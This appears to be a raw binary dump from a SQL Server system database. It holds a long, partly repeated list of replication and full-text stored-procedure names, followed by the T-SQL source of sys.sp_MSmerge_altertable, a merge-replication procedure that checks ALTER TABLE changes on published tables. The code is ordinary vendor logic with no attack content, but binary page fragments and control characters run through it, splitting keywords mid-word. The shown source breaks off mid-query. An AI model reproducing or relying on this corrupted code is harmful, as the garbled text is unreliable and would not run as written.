!!!!!!!!!!!!!!!!!!!!!!!!!!vBB

B

Z\(


n
<

			`	2		,hZ4p8f@\*l.^4<t(TH`
	r">-f=N&sp_fulltext_semantic_register_language_statistics_db_internal&t3zsp_fulltext_semantic_unregister_language_statistics_db&ڪsp_fulltext_semantic_unregister_language_statistics_db_internal&ә4sp_fulltext_service&ݾe0sp_fulltext_table&{Jsp_fulltext_thesaurus_add_root&

Jsp_fulltext_thesaurus_add_term&iFsp_fulltext_thesaurus_update&,Dsp_generate_agent_parameter&;$2sp_get_distributor&ݜhsp_get_job_status_mergepullsubscription_agent&hsp_get_job_status_mergepushsubscription_agent&`sp_get_job_status_mergesubscription_agent&8sp_get_query_template&c(sp_getapplock&lF,sp_getbindtoken&%rX6sp_getProcessorUsage&.n4sp_getpublisherlink&w8.sp_getschemalock&82Nsp_getsubscriptiondtspackagename&K8sp_getVolumeFreeSpace&-'.sp_grantdbaccess&:(sp_grantlogin&fCsp_help&4Tsp_help_fulltext_catalog_components&Af@sp_help_fulltext_catalogs&gNsp_help_fulltext_catalogs_cursor&$>sp_help_fulltext_columns&W&Lsp_help_fulltext_columns_cursor&Rsp_help_fulltext_system_components&<sp_help_fulltext_tables&Jsp_help_fulltext_tables_cursor&w!Tsp_help_spatial_geography_histogram&ZgLsp_help_spatial_geography_index&9Zsp_help_spatial_geography_index_helper&\Tsp_help_spatial_geography_index_xml&Rsp_help_spatial_geometry_histogram&7
Jsp_help_spatial_geometry_index&Xsp_help_spatial_geometry_index_helper&ǏSRsp_help_spatial_geometry_index_xml&
Jsp_help_spatial_index_internal&͚Tsp_help_spatial_index_internal_auto&0sp_helpconstraint& sp_helpdb&s2sp_helpdbfixedrole&lo2(sp_helpdevice&T4sp_helpextendedproc&*]$sp_helpfile&.sp_helpfilegroup&&sp_helpindex&wX,sp_helplanguage&48sp_helplinkedsrvlogin&=(sp_helplogins&,ca2sp_helpdistributor&k)Hsp_helpdistributor_properties&8sp_helpdistributiondb&q6sp_helpdistpublisher&_8sp_help_agent_profile&8sp_help_agent_default&lf<sp_help_agent_parameter&Y)Dsp_grant_publication_access&Bsp_help_publication_access&>sp_help_datatype_mapping&2sp_helpdatatypemap&^Fsp_getdefaultdatatypemapping&ۥ>sp_getagentparameterlist&!*sp_helparticle&]8sp_helparticlecolumns&ULBsp_getOraclepackageversion&0sp_helparticledts&.sp_getqueuedrows&=aFLsp_getqueuedarticlesynctraninfo&T8sp_getsqlqueueversion&k2sp_gettopologyinfo&;d:sp_helplogreader_agent&Tsp_getsubscription_status_hsnapshot&Nsp_get_Oracle_publisher_metadata&Hsp_help_peerconflictdetection&2LDsp_get_redirected_publisher&*h4@sp_hadr_get_target_server& Rsp_hadr_verify_configured_for_repl&EZVsp_hadr_verify_replication_publisher&{\sp_hadr_verify_publisher_at_distributor&\sp_hadr_verify_subscribers_at_publisher&~Fsp_hadr_create_linked_server&s@@sp_hadr_get_current_error&oBsp_hadr_drop_linked_server&zfsp_hadr_validate_replica_hosts_as_publishers&GUbsp_hadr_validate_replica_host_as_publisher&Xsp_help_log_shipping_primary_database&DZsp_help_log_shipping_primary_secondary&MZsp_help_log_shipping_secondary_primary&H\sp_help_log_shipping_secondary_database&$Vsp_help_log_shipping_monitor_primary&Zsp_help_log_shipping_monitor_secondary& Jsp_help_log_shipping_alert_job&Fsp_help_log_shipping_monitor&|Hsp_helpallowmerge_publication&V,4sp_helpmergearticle&#Zsp_get_mergepublishedarticleproperties&:@sp_helpmergearticlecolumn&%6sp_helpmergelogfiles&oFsp_helpmergelogfileswithdata&k2sp_helpmergefilter&G2sp_generatefilters&/Fsp_helpmergearticleconflicts&:Pj>sp_helpmergeconflictrows&jJsp_helpmergedeleteconflictrows&H8sp_getmergedeletetype&Jsp_helpmergealternatepublisher&̲Bsp_helpdynamicsnapshot_job&J'aXsp_FuzzyLookupTableMaintenanceInstall&P\sp_FuzzyLookupTableMaintenanceUninstall&TGVsp_FuzzyLookupTableMaintenanceInvokeelogfiles^bB"H


f
B

xFd~TLt

,
		2	VbZB`.f\BtZ|DF(V^2
0r
p,,R"b`9
N"	&OFsp_MSrepl_getdistributorinfo&ȑBsp_MSrepl_gettype_mappings&1o|^sp_MSrepl_GrantSelectOnMergeSystemTables&oTsp_MSrepl_helpreplicationdboptionex&Fsp_MSrepl_helpsubscriberinfo& ܿ4sp_MSrepl_isdbowner&>sp_MSrepl_IsUserInAnyPAL&tJsp_MSrepl_linkedservers_rowset&&I<sp_MSrepl_PAL_rolecheck&fsp_MSrepl_set_oracle_provider_inproc_on64bit&#Bsp_MSrepl_startup_internal& Jsp_MSrepl_validate_dts_package&NZsp_MSrepl_verify_oracle_client_version&Phsp_MSrepl_verify_oracle_provider_isregistered&>sp_MSrepladdproxyaccount&74sp_MSreplcheck_name&
:sp_MSreplcheck_publish&OTsp_MSreplcheck_publish_withddladmin&24sp_MSreplcheck_pull&edJ0sp_MSreplcheck_qv&>sp_MSreplcheck_subscribe&FȾXsp_MSreplcheck_subscribe_withddladmin&HDsp_MSreplcheckoffloadserver&@0Bsp_MSreplclosesymmetrickey&f.sp_MSrepldecrypt&.sp_MSreplencrypt&5>sp_MSreplhelp_jobhistory&[p"Lsp_MSreplicationagentjobcontrol&JDsp_MSreplicationcompatlevel&oi+@sp_MSreplopensymmetrickey&\Bsp_MSrepl_getpublisherinfo&/9\sp_MSrepl_IsLastPubInSharedSubscription&*Fsp_MSrepl_publicationsummary&Hsp_MSrepl_subscriptionsummary&^Psp_MSrepl_mergeagentstatussummary&g:sp_MSrepl_incrementlsn&Fsp_MSrepl_setdefaultdatatype&>sp_MSrepl_MSSQLdatatypes&V:sp_MSrepl_ORAdatatypes&:sp_MSrepl_SASdatatypes&B3Vsp_MSrepl_ORA_MSSQL_datatypemappings&Hsp_MSrepl_subdatatypemappings&YFVsp_MSrepl_MSSQL_ORA_datatypemappings&BVsp_MSrepl_MSSQL_DB2_datatypemappings&BVsp_MSrepl_MSSQL_SAS_datatypemappings&oHsp_MSrepl_testadminconnection&Ռ>sp_MSrepl_testconnection&Rsp_MSrepl_helppublication_snapshot&0e\sp_MSrepl_publicationsnapshotjobcontrol&g]Xsp_MSrepl_subscriptionagentjobcontrol&DzZsp_MSrepl_scriptpublicationcustomprocs&>sp_MSrepl_helparticlermo&<]8sp_MSrepl_helparticle&Xsp_MSrepl_snapshot_helparticlecolumns&:Fsp_MSrepl_helparticlecolumns&w@sp_MSrepl_helppublication&^Rsp_MSrepl_snapshot_helppublication&xOBsp_MSrepl_helpsubscription&Psp_MSrepl_setOraclepackageversion&_WtPsp_MSrepl_getOraclepackageversion&<Jsp_MSrepl_refreshsubscriptions&Fsp_MSrepl_reinitsubscription&C|i.sp_MSrepl_schema&o@sp_MSrepl_posttracertoken&Y<sp_MSrepl_validatecache&NHsp_MSrepl_helplogreader_agent&y-bsp_MSrepl_getsubscription_status_hsnapshot&th.sp_MSrepl_setNFR&s`sp_MSrepl_refresh_heterogeneous_publisher&4sp_MSrepl_raiserror&=<sp_MSreplcopyscriptfile&`HWBsp_MSrepl_init_backup_lsns&Z<sp_MSreplagentjobexists&;6=Hsp_MSrepl_subscription_rowset&̐Vsp_MSrepl_register_default_resolvers&҉(@sp_MSrepl_getpkfkrelation&02sp_MSrepl_helptext&[W@sp_MSreplcheck_permission6h:.8V$0
Z	
z> ,
P
|2D	

$r
n	R	pPFJ
lxv0`	
	7"(j
51&<sp_MSsub_check_identity&>sp_MSsub_cleanup_orphans&Dsp_MSsub_cleanup_prop_table&(8sp_MSsub_set_identity&eXsp_MSsubscription_enabled_for_syncmgr&x<sp_MSsubst_filter_names&xk*Dsp_MStable_has_unique_index&SBa8sp_MStable_validation&&sp_MStestbit&Jsp_MStran_is_snapshot_required&Rbsp_MStrypurgingoldsnapshotdeliveryprogress&r0sp_MSunc_to_drive&.4sp_MSunmarkifneeded&n6Y4sp_MSunmarkreplinfo&9<sp_MSunmarkschemaobject&Dsp_MSunregistersubscription&Hsp_MSupdate_agenttype_default&j{Dsp_MSupdate_mqserver_distdb& hBsp_MSupdate_mqserver_subdb&4J<sp_MSupdatelastsyncinfo&g 4sp_MStran_alterview&n@sp_MStran_alterschemaonly&=!:sp_MStran_altertrigger&[@sp_MStable_not_modifiable&3A2sp_MStran_autoproc&#hn2sp_MSupdatepeerlsn&G0sp_MStran_ddlrepl&6sp_MStran_altertable&.>sp_MSupdate_subscription&>p>sp_MSsubscription_status&UDsp_MSupdate_subscriber_info&@.OLsp_MSupdate_subscriber_schedule&EXsp_MSupdate_subscriber_tracer_history&{Bsp_MSupdate_tracer_history&FK>sp_MSupdatecachedpeerlsn&a8sp_MSuniqueobjectname&Maj4sp_MSuniquetempname&2sp_MSuniquecolname&y_2sp_MStablenickname&:sp_MStablenamefromnick&IZ:sp_MSsubsetpublication&\sp_MSupdate_singlelogicalrecordmetadata&z0sp_MSupdaterecgen&<sp_MSupdatereplicastate&Ԋ8sp_MSupdategenhistory&ԫ<sp_MSupdateschemachange&L_Bsp_MSsubscriptionvalidated&Lsp_MSupdategenerations_afterbcp&`sp_MSupdateinitiallightweightsubscription&,sp_MSsubtractbm&,sp_MStablespace&*sp_MStablerefs&*sp_MStablekeys&Gn.sp_MStablechecks&=,sp_MSuniquenameJsp_procedure_params_100_rowset&zFLsp_procedure_params_100_rowset2&/Hsp_procedure_params_90_rowset&ޚJsp_procedure_params_90_rowset2&Dsp_procedure_params_managed&sBsp_procedure_params_rowset&<Dsp_procedure_params_rowset2&H.6sp_procedures_rowset&8sp_procedures_rowset2&.sp_ORAloadscript&S*sp_ORArowcount&S8sp_ORAcompiletriggers&£0sp_ORAremotequery&o.sp_ORAgetversion&~0sp_ORAgetprovider&g 4sp_MStran_alterview&n@sp_MStran_alterschemaonly&=!:sp_MStran_altertrigger&n0sp_ORAhelparticle&ABsp_MSvalidate_subscription&[@sp_MStable_not_modifiable&3A2sp_MStran_autoproc&x2sp_posttracertoken&P:sp_ORACheckSourceTable&Bsp_ORACheckAdminPrivileges&SBsp_ORACheckLoopbackSupport&2sp_ORASchemaFilter&0<sp_ORAGetTablespaceInfo&h:sp_ORAChangeTableSpace&K4sp_ORAvalidatecache&S6sp_ORAhelpXactSetJob&i˼.sp_ORAXactSetJob&/i:sp_ORAhelpXactBatching&M/8sp_ORASetXactBatching&VԴ<sp_ORAValidateRowFilter&Nsp_ORAmarksubscriptionvalidation&24sp_ORAgetcolumndata&'.sp_ORAaddarticle&54sp_ORAdroppublisher&0sp_ORAdroparticle&آ8sp_ORAposttracertoken&#hn2sp_MSupdatepeerlsn&JRsp_MSvalidatepeertopeerpublication&޻Lsp_MSvalidatepeertopeerarticles&G0sp_MStran_ddlrepl&6sp_MStran_altertable&Psp_peerconflictdetection_tableaug&ADsp_MSvalidate_distpublisher&.>sp_MSupdate_subscription&>p>sp_MSsubscription_status&UDsp_MSupdate_subscriber_info&@.OLsp_MSupdate_subscriber_schedule&#Bsp_MSwritemergeperfcounter&EXsp_MSupdate_subscriber_tracer_history&{Bsp_MSupdate_tracer_history&FK>sp_MSupdatecachedpeerlsn&Tsp_processlogshippingmonitorprimary&iXsp_processlogshippingmonitorsecondary& +Tsp_processlogshippingmonitorhistory&Psp_processlogshippingmonitorerror&Xsp_processlogshippingretentioncleanup&4sp_MSverboselogging&a8sp_MSuniqueobjectname&Maj4sp_MSuniquetempname&2sp_MSuniquecolname&y_2sp_MStablenickname&:sp_MStablenamefromnick&IZ:sp_MSsubsetpublication&\sp_MSupdate_singlelogicalrecordmetadata&bBZsp_MSvalidate_wellpartitioned_articles&}%8sp_MSuplineageversion&z0sp_MSupdaterecgen&<sp_MSupdatereplicastate&Ԋ8sp_MSupdategenhistory&ԫ<sp_MSupdateschemachange	xHr4:

zv:
Ph.	>
b	8HZf		
.d
vPV`<(H^9v\
create  procedure sys.sp_MSmerge_altertable 
(
    @qual_object_name nvarchar(512) --qualified 3-part-name            
    ,@objid int
    ,@pass_through_scripts nvarchar(max)
)
AS
    set nocount on
    declare @sync_objid     int

    declare @guidstr nchar(32)
    declare @instrigname        sysname
    declare @updtrigname        sysname
    declare @deltrigname        sysname

    declare @pubname sysname
    declare @cmd nvarchar(2000)
    declare @is_publisher bit
    declare @artname sysname
    declare @sync_mode int
    declare @conflict_logging int
    declare @schemaguid    uniqueidentifier
    declare @schematype    int
    declare @schemaversion int 
    declare @schematext    nvarchar(max)
    declare @schemasubtype int

    declare @schemaguid_bitmask    uniqueidentifier
    declare @schematype_bitmask    int
    declare @schemaversion_bitmask int 
    declare @schematext_bitmask    nvarchar(2000)
    declare @schemasubtype_bitmask int
    
    declare @colid int
    declare @statement_id int
    declare @max_colid int
    declare @retcode int
    declare @in_partition int
    declare @columnsbm varbinary(128) 
    declare @excluded_cols varbinary(128) 
    declare @excluded_col_count int
    declare @missing_cols varbinary(128) 
    declare @is_republisher bit
    declare @tablename sysname
    declare @artid    uniqueidentifier            
    declare @pubid uniqueidentifier
    declare @column sysname
    declare @snapshot_ready int
    declare @subtype sysname
    declare @replicate_ddl    int
    declare @publisher sysname
    declare @publisher_db sysname
    declare @islightweight bit
    declare @ready tinyint, @snapshotobsolete tinyint
    declare @notready tinyint
    declare @active tinyint
    declare @cCols int -- number of columns in the table
    declare @cMissing int -- number of missing cols
    declare @BinVarStr nvarchar(128)
    declare @num_columns int
    declare @NeedSchemaChange int
    declare @missingORexcluded varbinary(128)
    declare @missingORexcludedStr varchar(1000)
    declare @column_id int
    declare @abs_column_id int
    declare @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP int
    declare @SCHEMA_TYPE_DDL_ACTIONS int
    declare @artnick int
    declare @status int
    declare @qual_check_object sysname


    declare @dest_table sysname
            ,@dest_owner sysname
            ,@qual_dest_object nvarchar(512)
            ,@temp_ddlcmds nvarchar(max)
            ,@debug_print bit

   declare @should_fail bit            
            ,@is_not_for_replication bit  
            ,@delete_referential_action tinyint
            ,@update_referential_action tinyint
            ,@colname nvarchar(512)

    declare @schema_option binary(8)
    declare @vertical_partition int
    declare @schematype_existing int
    declare @schemasubtype_existing int

    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0
    
    select @ready= 1
    select @snapshotobsolete=2
    select @notready= 0
    select @active= 1
    set @subtype=NULL
    set @schemasubtype = 0
    set @schemaversion = NULL
    set @vertical_partition = 0

    set @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP = 301
    set @SCHEMA_TYPE_DDL_ACTIONS = 300

    --enum of constants
    declare  @schemasubtype_addcolumn int
            ,@schemasubtype_dropcolumn int
            ,@schemasubtype_altercolumn int
            ,@schemasubtype_disabletrigger int
            ,@schemasubtype_enabletrigger int
            ,@schemasubtype_disabletriggerall int
            ,@schemasubtype_enabletriggerall int
            ,@schemasubtype_dropconstraint int
            ,@schemasubtype_enableconstraint int
            ,@schemasubtype_disableconstraint int
            ,@schemasubtype_enableconstraintall int
            ,@schemasubtype_disableconstraintall int
            ,@schemasubtype_addfk int
            ,@schemasubtype_addun int
            ,@schemasubtype_addchk int
            ,@schemasubtype_adddf int
            ,@schemasubtype_addpk int

    select @schemasubtype_addcolumn = 1 					    --N'ADDCOLUMN'
        ,@schemasubtype_dropcolumn =  2 					    --N'DROPCOLUMN'
        ,@schemasubtype_altercolumn = 3 					    --N'ALTERCOLUMN'
        ,@schemasubtype_addpk = 4							    --N'ADDPRIMARYKEY'
        ,@schemasubtype_addun = 5							    --N'ADDUNIQUE'
        ,@schemasubtype_addfk = 6				        --N'ADDREFERENCE'
        ,@schemasubtype_dropconstraint = 7  			        --N'DROPCONSTRAINT'
        ,@schemasubtype_adddf = 8       						--N'ADDDEFAULT'
        ,@schemasubtype_addchk = 9  							--N'ADDCHECK'
        ,@schemasubtype_disabletrigger = 10 				    --N'DISABLETRIGGER'
        ,@schemasubtype_enabletrigger = 11		    		    --N'ENABLETRIGGER'
        ,@schemasubtype_disabletriggerall = 12		            --N'DISABLETRIGGER'
        ,@schemasubtype_enabletriggerall = 13       	        --N'ENABLETRIGGER'
        ,@schemasubtype_enableconstraint = 14   		        --N'ENABLECONSTRAINT'
        ,@schemasubtype_disableconstraint = 15  		        --N'DISABLECONSTRAINT'
        ,@schemasubtype_enableconstraintall = 16    	        --N'ENABLECONSTRAINT'
        ,@schemasubtype_disableconstraintall = 17   	        --N'DISABLECONSTRAINT'


    if object_id('MSrepl_debug_DDL') is not null
        set @debug_print = 1
    else
        set @debug_print = 0


    --sp_repladd/dropcolumn sets session context info as such so we 
    --know if we came from there, nothing need to be done
    --in that case since sp_repladd/dropcolumn already handle all the 
    --logic similiar to here.
    declare @bypasswholeddleventbit bit
    exec @retcode = sys.sp_MScheckcontext_bypasswholeddleventbit @bypasswholeddleventbit OUTPUT
    if @retcode <>0 or @@ERROR<>0
        return 1
    -- we should by pass
    if @bypasswholeddleventbit=1
        return 0

    declare @bypassreplicatedll bit
    exec @retcode = sys.sp_MScheckcontext_bypassreplicateddleventbit @bypassreplicatedll OUTPUT
    if @retcode <>0 or @@ERROR<>0
        return 1

    if is_member('db_owner') <> 1
    begin
        raiserror (21050, 16, -1)
        return (1)
    end
       
    --------------------------------------
    -- prepare parsing event
    create table #merge_altertable(
        id int identity,
        DDLsubtype sysname, 
        TableOwner sysname,  
        TableName sysname,
        ColumnName sysname NULL, 
        ColumnAttr sysname NULL,
        schemasubtype int NULL   
    )
    select @tablename=object_name(@objid)

    set @temp_ddlcmds = N'ALTER table '
                                    + @qual_object_name + N' '
                                    + @pass_through_scripts

    insert #merge_altertable(DDLsubtype, TableOwner, TableName, 
        ColumnName, ColumnAttr) 
        exec sys.sp_replddlparser @ddlCmd=@temp_ddlcmds 

    
        
    if @@ERROR <> 0
    begin
        goto FAILURE
    end                    

    --set the numeric field to represent subtype, hopefully this makes future comparasion faster
    update #merge_altertable set schemasubtype = case DDLsubtype when N'ADDCOLUMN' then @schemasubtype_addcolumn
                                                            when N'DROPCOLUMN' then @schemasubtype_dropcolumn
                                                            when N'ALTERCOLUMN' then @schemasubtype_altercolumn
                                                            when N'ADDREFERENCE' then @schemasubtype_addfk
                                                            when N'ADDUNIQUE' then @schemasubtype_addun
                                                            when N'ADDCHECK' then @schemasubtype_addchk
                                                            when N'ADDDEFAULT' then @schemasubtype_adddf
                                                            w!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Afv\hen N'ADDPRIMARYKEY' then @schemasubtype_addpk
                                                            when N'DISABLETRIGGER' then 
                                                                case len(isnull(ColumnName, '') )
                                                                    when 0 then @schemasubtype_disabletriggerall
                                                                    else @schemasubtype_disabletrigger
                                                                end
                                                            when N'ENABLETRIGGER' then 
                                                                case len(isnull(ColumnName, '') )
                                                                    when 0 then @schemasubtype_enabletriggerall
                                                                    else @schemasubtype_enabletrigger
                                                                end
                                                            when N'DROPCONSTRAINT' then @schemasubtype_dropconstraint
                                                            when N'ENABLECONSTRAINT' then
                                                                case len(isnull(ColumnName, '') )
                                                                    when 0 then @schemasubtype_enableconstraintall
                                                                    else @schemasubtype_enableconstraint
                                                                end
                                                            when N'DISABLECONSTRAINT' then 
                                                                case len(isnull(ColumnName, '') )
                                                                    when 0 then @schemasubtype_disableconstraintall
                                                                    else @schemasubtype_disableconstraint
                                                                end
                                                    end
                                                                        
    if (@@ERROR <> 0)
    begin
        return 1
    end

    --------------------------------------
    -- consistency check

    -- Check whether the table is a heavy- or lightweight article.
    -- If it is neither, return success.
    select top 1 @islightweight= lightweight, @artnick= nickname
        from dbo.sysmergearticles where objid=@objid

    if @islightweight is null
    begin
        return 0
    end
    
    -- If the article is about to be cleaned up, a replication-generated rowguidcol
    -- is removed. In that case, we don't need to do anything here.
    if not exists (select * from dbo.sysmergearticles where objid=@objid and status<>7)
    begin
        return 0
    end
    
    declare @is_context_merge_identityrangeddl bit
              declare @at_publisher    bit
              declare @is_mergeagent    bit
    declare @constraintname sysname

    exec @retcode = sys.sp_MScheckcontext_merge_identityrangeddlbit  @is_context_merge_identityrangeddl OUTPUT
    if @retcode <>0 or @@ERROR<>0
        return 1

         
    exec @retcode = sys.sp_MSisreplmergeagent @is_mergeagent output, @at_publisher output
    if @@error <> 0 or @retcode <> 0
        return 1


    --if user does alter table drop constraint for identity range - then disallow this
    --the user must explictly call sp_changemergearticle @publication, @article, 'identityrangemanagementoption', 'none'
    select top 1 @artid=artid from dbo.sysmergearticles where objid=@objid
    select @constraintname = 'repl_identity_range_%' + convert(nvarchar(36), @artid)
    select @constraintname = REPLACE(@constraintname, '-', '_')
    select @num_columns = count(*) from #merge_altertable ma 
            where ma.DDLsubtype in (N'DROPCONSTRAINT') and 
            lower(ma.ColumnName) like lower(@constraintname)            
    if (@num_columns = 1 and OBJECTPROPERTY(@objid, 'tablehasidentity') = 1)
    begin
        -- this is not identity range related dll operation or a merge agent propagating ddl changes, invalid user action - raise error
        if @is_context_merge_identityrangeddl=0 and @is_mergeagent=0
        begin
            RAISERROR (25010, 16, -1, @constraintname, @artname)
            return 1
        end
        -- else if the bit is not set, propagate the drop constraint as a DDL change.
        if @is_context_merge_identityrangeddl=1
            return 0
    end

    --if sp_MSrefresh_idrange_check_constraint is calling alter table to add/drop the constraint 
    --repl_identity_range_[artid] do not propagate this DDL change and hence return.
    select @num_columns = count(*) from #merge_altertable ma 
            where ma.DDLsubtype in (N'ADDCHECK') and 
            lower(ma.ColumnName) like lower(@constraintname)               
    if (@num_columns = 1 and OBJECTPROPERTY(@objid, 'tablehasidentity') = 1)
    begin
        return 0
    end

    -- special case for change tracking ddl
    --   We're only capturing the ALTER TABLE for change tracking, and if the subscriber has not manually
    --   enabled it via alter database, the application will fail here.  Since this is likely the normal case
    --   we'll skip the replication of this particular DDL statement.
    if exists (select * from #merge_altertable ma 
            where ma.DDLsubtype in (N'ENABLECHANGETRACK', N'DISABLECHANGETRACK'))
    begin
        return 0
    end

    -- Don't want to replicate alter table rebuild statements
    -- so skip if the DDLsubtype is REBUILDTABLE
    if exists (select * from #merge_altertable
            where DDLsubtype = N'REBUILDTABLE')
    begin
        return 0
    end

    -- Don't want to replicate alter table LOCK_ESCALATION statements
    -- so skip if the DDLsubtype is LOCKESCALATION
    if exists (select * from #merge_altertable
            where DDLsubtype = N'LOCKESCALATION')
    begin
        return 0
    end

    --open a local transaction now since this is where we start to make modification to metadata
    begin tran
    save transaction sp_MSmerge_altertable


    -- obtain the snapshot/DDL/admin proc applock to avoid having contention with snapshot
    -- Attempt to get the lock with no wait
    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(21386, 16, -1, @qual_object_name)
        goto FAILURE
    end

    select @got_merge_admin_applock = 1

    -- don't do column index shifting for MSmerge_contents.colv1 if there is any dropped column
    if exists (select * from #merge_altertable where DDLsubtype in ('DROPCOLUMN'))
    begin
        -- Find new and old missing_cols for lightweight.
        -- If needed, adjust MSmerge_rowtrack and sysmergearticles.
        if 1=@islightweight
        begin
            delete from dbo.MSmerge_filteringcolumns_lightweight
            where tablenick in (select nickname from dbo.sysmergearticles where objid = @objid)
                  and column_id not in (select column_id from sys.columns where object_id = @objid)
        end    --1=@islightweight
    end
    
    --add-column, drop-column and alter-column can be performed only from original publisher of the table.
    --except from merge agent, which propagate ALTER TABLE statement to subscribers
    -- we cannot check DROPCONSTRAINT here as after trigger cannot distinguish general vs NOT FOR REPLICATION constraint
    if exists (select * from #merge_altertable where DDLsubtype in ('DROPCOLUMN','ALTERCOLUMN','ADDCOLUMN')) and
              sessionproperty('replication_agent') <> 1
    begin
        if 0=@islightweight
        begin
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( $?v\     -- this article must be inside a publisher (original or republishing) - maybe redundant but good for consistency check
            if NOT exists (select * from dbo.sysmergearticles 
                            where objid=@objid and 
                                  pubid in 
                                    (select pubid from dbo.sysmergepublications 
                                        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                              publisher_db=db_name()))
            begin
                raiserror(21531, 16, -1)
                goto FAILURE
            end
            -- the article can not be inside a republisher
            else if exists (select * from dbo.sysmergearticles 
                            where objid=@objid and 
                                  pubid not in 
                                    (select pubid from dbo.sysmergepublications 
                                        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                              publisher_db=db_name()))
            begin
                raiserror(21531, 16, -1)
                goto FAILURE
            end
        end
        else
        begin
            raiserror(21531, 16, -1)
            goto FAILURE
        end
    end

    -- don't do anything for adding a ROWGUIDCOL column, this won't happen for table with active merge subscription 
    -- anyway since it should already have one.
    if exists (select * from #merge_altertable where DDLsubtype = N'ADDCOLUMN' and ColumnAttr = N'ROWGUIDCOL')
        goto SUCCESS

    -- check on column drops
    -- DDLsubtype = N'DROPCONSTRAINT'
    if exists (select * from #merge_altertable where DDLsubtype in ('DROPCOLUMN', 'ALTERCOLUMN', 'DISABLEROWGUIDCOL')) 
        and sessionproperty('replication_agent') <> 1
    begin
        -- if object is published
        if exists (select * from dbo.sysmergearticles 
                            where objid=@objid 
                                  and pubid in 
                                    (select pubid from dbo.sysmergepublications 
                                        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                              publisher_db=db_name()))
        begin
            -- set as msg 21546
            -- Attempting to replicate ALTER TABLE command with multiple drops including a column which does not exist in at least one of the subscription, use single drop column in ALTER TABLE instead.
            -- if mutliple column, we require one by one drop to avoid one in partition and the other not, then subscriber 
            -- won't be able to drop the column not in partition

            --trigger fires after the DDL event, in case of drop, the corresponding colid is no longer 
            --in sys.columns once we are here. So we look at the colids in sysmergearticles.columns but not in sys.columns
            --to figure out how many columns were dropped in this DDL.
            create table #table_mrgartcol(artid uniqueidentifier NOT NULL, colid smallint NOT NULL)
            exec sys.sp_MSmerge_gen_articlecolumnrowset @objid=@objid

            declare @num_columns2 int
            select @num_columns2 = count(*) from #merge_altertable where DDLsubtype = N'DROPCOLUMN'
            if     @num_columns2 > 1 and
                exists( 
                        select count(colid) from #table_mrgartcol 
                        where colid not in 
                        (
                            select column_id from sys.columns where object_id = @objid
                        )
                        group by artid 
                        having count(colid) < @num_columns2 and count(colid) <> 0 
                    ) 
            begin
                raiserror(21546, 16, 1)        
                goto FAILURE
            end    

            -- This check is to disallow dropping filter columns.
            declare @failflag bit
            set @failflag=0
            
            if exists (select * from dbo.sysmergearticles art, #merge_altertable alttable 
                where art.objid = @objid and alttable.DDLsubtype ='DROPCOLUMN'
                and sys.fn_MSisfilteredcolumn(art.subset_filterclause, alttable.ColumnName, @objid)=1)
                set @failflag=1

            if exists (select * from dbo.sysmergesubsetfilters filter, dbo.sysmergearticles art, #merge_altertable alttable 
                where filter.art_nickname = art.nickname and art.objid = @objid and alttable.DDLsubtype ='DROPCOLUMN'
                and sys.fn_MSisfilteredcolumn(filter.join_filterclause, alttable.ColumnName, @objid)=1)
                set @failflag=1

            if exists (select * from dbo.sysmergesubsetfilters filter, dbo.sysmergearticles art, #merge_altertable alttable 
                where filter.join_nickname = art.nickname and art.objid = @objid and alttable.DDLsubtype ='DROPCOLUMN'
                and sys.fn_MSisfilteredcolumn(filter.join_filterclause, alttable.ColumnName, @objid)=1)
                set @failflag=1

            if @failflag=1
            begin
                raiserror(21552, 16, 1)        
                goto FAILURE
            end
        end
        
        -- if object is published and snapshot being run
        if exists (select * from dbo.sysmergearticles 
                            where objid=@objid and status=2 -- rowguid is on only when snapshot is run, see 'active', 'unsynced' in sp_MSchangemergeschemaarticle
                                  and pubid in 
                                    (select pubid from dbo.sysmergepublications 
                                        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                              publisher_db=db_name()))
        begin
            -- if rowguidcol is dropped
            if objectproperty(@objid, 'TableHasRowGuidCol')=0
            begin
                raiserror(21540, 16, -1)
                goto FAILURE
            end 
        end
    end

    -- This is to bail out for merge added default constraint by sp_addmergearticle for incremental article
    -- ALTER TABLE [dbo].[t1] 
    -- add constraint default_constraint_for_rowguidcol_of_1221579390 default newid() for [c3]
    --
    select @num_columns = count(*) from #merge_altertable ma 
            where ma.DDLsubtype in (N'ADDDEFAULT') and 
            (ma.ColumnName LIKE N'MSmerge_default_constraint_for_rowguidcol_of_%' 
              or ma.ColumnName LIKE N'MSmerge_df_rowguid_%'
            )
    if (@num_columns = 1)
    begin
            goto SUCCESS
    end

    -- Disallow explicit drop rowguid constraint - see bug 659934
    select @num_columns = count(*) from #merge_altertable ma 
            where    ma.DDLsubtype in (N'DROPCONSTRAINT') and 
            (ma.ColumnName LIKE N'MSmerge_default_constraint_for_rowguidcol_of_%' 
              or ma.ColumnName LIKE N'MSmerge_df_rowguid_%'
            )        
    if (@num_columns = 1) and sessionproperty('replication_agent') <> 1
    begin
        raiserror(25005, 16, -1)
        goto FAILURE
    end

    --disallow addingconstraints/defaults without name: server auto generated name can be different on 
    --publisher and subscriber - relaxing this restriction
    --if exists( select * from #merge_altertable ma 
    --        where ma.DDLsubtype  in (N'ADDPRIMARYKEY', N'ADDUNIQUE', N'ADDREFERENCE', N'ADDCHECK', N'ADDDEFAULT')
    --                and (ma.ColumnName is!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("M5v\ NULL or len(ma.ColumnName) = 0))
    --begin
    --    RAISERROR (21731, 16, -1)
    --    goto FAILURE
    --end

    --if table has no active subscription and DDL does not add/drop column,  don't do anything
    declare @subscription_active int
    set @subscription_active=1
    
    if not exists (SELECT A.artid 
